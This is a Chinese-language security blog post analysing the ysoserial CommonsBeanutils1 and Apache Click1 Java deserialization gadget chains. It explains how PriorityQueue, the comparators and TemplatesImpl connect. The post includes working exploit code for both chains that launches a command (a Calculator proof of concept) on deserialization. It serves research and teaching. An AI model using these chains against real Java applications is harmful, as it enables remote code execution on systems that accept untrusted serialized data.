ysoserial CommonsBeanutils1 & Click1 详细分析

robots

 

CommonsBeanutils1 是一条比较古老的反序列化利用链,今年出的新利用链Apache Click1与之非常相似,同时填补在上篇文章中留的坑,解决openAM反序列化利用链构造问题。

0x00 思考

分析完CommonsCollections系列利用链后对Java反序列化利用链有了更深层次的认识。其实Java与PHP的反序列化有着相同的地方,我们把填充了特定属性的类作为点,把类之间的方法调用作为线,这样线可以去连接点,完整的利用链最终能够把所有的点串起来。在构造利用链的时候无非就是考虑怎样把我想要的一些点串起来,抛开变量赋值的方式来讲,方法调用大体来讲有两种方式。

  • 直接调用
  • 通过一些特性调用

0x1 直接调用

就是字面意思,一个类中的方法直接调用了另一个类中的方法。我们拿一些之前分析的例子看一看。
比如LazyMap中的get方法会调用Transformer类型的transform方法。

factory为构造方法中的参数,在构造LazyMap时可以指定要传入的对象。大部分的方法调用都是通过这种方式进行的。

0x2 通过特性调用

通过某种Java机制进行的方法调用,比如说反射、javaBean属性获取、动态代理机制等等。我们可以在很多利用链中反复利用这些特性。举个简单的例子CC1链中AnnotationInvocationHandler的invoke方法调用就是采用的动态代理机制将readObject和Handler的invoke方法连接在一起。我们回忆一下关键点

AnnotationInvocationHandler的memberValues变量可以通过构造方法赋值,当赋值为一个代理类后,在执行这个代理类的entrySet方法时会自动调用代理类Handler的invoke方法。今天将要介绍javaBean属性获取的相关特性。

 

0x01 CommonsBeanutils1 分析

回到这次分析的主角之一CommonsBeanutils1,首先我们看下此次的命令执行点

0x1 命令执行入口

命令执行的具体步骤在之前分析CC2的时候详细讲解过,可参考https://www.anquanke.com/post/id/232592#h2-6,当时将newTransformer函数作为连接函数,把TransformingComparator和TemplatesImpl两个类连接在了一起。

仔细的看下TemplatesImpl代码,还会发现另外一个连接点。getOutputProperties方法也会调用newTransformer函数。因此想办法调用这个方法即可。

0x2 前置知识JavaBean

JavaBean其实就是符合一定规则的Java类。在Java中,有很多class的定义都符合这样的规范:

  • 若干private实例字段;
  • 通过public方法来读写实例字段。

例如:

public class Person {
    private String name;
    private int age;

    public String getName() { return this.name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return this.age; }
    public void setAge(int age) { this.age = age; }
}

如果读写方法符合以下这种命名规范,那么这种类就被称为JavaBean

// 读方法:
public Type getAbc()
// 写方法:
public void setAbc(Type value)

PropertyUtils.getProperty(Object bean, String name) 函数这个方法是获取bean中名为name的属性。在获取name属性的过程中会调用getXXX的方法,这种调用特性给构造利用链提供了新的思路。

0x3 符合条件的Comparator

在BeanComparator类中的compare方法里有PropertyUtils.getProperty函数的调用,具体实现如下

这样我们就可以将BeanComparator的compare函数作为桥梁用来连接命令执行链和其他的函数,目前的利用链状态为

结合之前分析的CC2链,很容易想到用PriorityQueue类调用继承了Comparator接口的BeanComparator方法。

0x4 创造条件调用compare方法

PriorityQueue中的readObject会调用heapify函数进行元素排序,之后会触发comparator.compare方法,完美的闭合整个利用链。

0x5 编写利用代码

代码放在了github上https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/CButils1.java,主代码如下

final Object templates = createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
// mock method name until armed

// create queue with numbers and basic comparator
final BeanComparator comparator = new BeanComparator("lowestSetBit");

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");

// switch contents of queue
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;

//        return queue;
byte[] serializeData=serialize(queue);
unserialize(serializeData);

有几个点需要注意下

  • 一开始将BeanComparator的property设置为lowestSetBit,以及向queue队列中填充BigInteger对象,都是为了在执行add函数时不触发构造好的利用链,以防程序中断。
  • add之后将comparator的property属性调整为outputProperties,以及queue元素调整为templates因为需要在序列化数据时把恶意数据带进去。

 

0x02 Click1 反序列化利用分析

该链的作者artsploit在今年分析openAM项目时现找的一条利用链,这条利用链和CommonsBeanutils1有着很多相似之处,所以我把他们放在一起对比着分析。作者在自己的分析文章中讲了是如何发现这条利用链的,我们就跟随大佬的脚本看一看整个链的发现过程。

0x1 发现过程

借助开源工具gadgetinspector帮助我们分析潜在的反序列化利用链

git clone https://github.com/JackOfMostTrades/gadgetinspector.git
cd gadgetinspector
./gradlew shadowJar

通过该工具会找到很多可以的利用链,具体能不能用需要人工判断。值得注意的是ColunmnComparator的compare方法会调用getProperty,这和CommonsBeanutils1惊人的相似,需要好好的分析下其中的逻辑。

0x2 替代BeanComparator

打开Column文件,在compare代码中会调用this.column的getProperty方法

之后会调用一些列的函数到达Method.invoke执行row对象中的getXXX函数。在构造利用代码的时候需要指定column对象的name字段为outputProperties。

结合之前的利用链分析,把BeanComparator替换为ColumnComparator,如下图所示

0x3 编写利用代码

完整代码上传至github上https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/Click1.java,主要代码如下

public static void main(String[] args) throws Exception {
    final Object templates = createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    // mock method name until armed
    final Column column = new Column("lowestSetBit");
    column.setTable(new Table());
    Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);

    // create queue with numbers and basic comparator

    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    column.setName("outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
    queueArray[0] = templates;
    //        return queue;
    byte[] serializeData=serialize(queue);
    unserialize(serializeData);
}

在构造的时候注意几个地方

  • ColumnComparator是Column的非public内部类,因此在创建对象的时候采用反射的方法。
  • ColumnComparator的构造方法参数类型为Column,因此创建它之前要先创建Column对象。
  • 其他的地方和BeanCompatrator一模一样。

 

0x03 总结

在分析过CC系列链后,学习了CommonsBeanutils1和Click1两条相似的利用链,又增加了对反序列化利用的认识。对于Java反序列化的利用链会继续跟踪学习下去,争取早日挖掘出自己的利用链。

 

0x04 参考文献

https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
https://www.daimajiaoliu.com/daima/47e366dba900403
https://blog.weik1.top/2021/01/18/CommonsBeanutils%E9%93%BE%E5%88%86%E6%9E%90/

(完)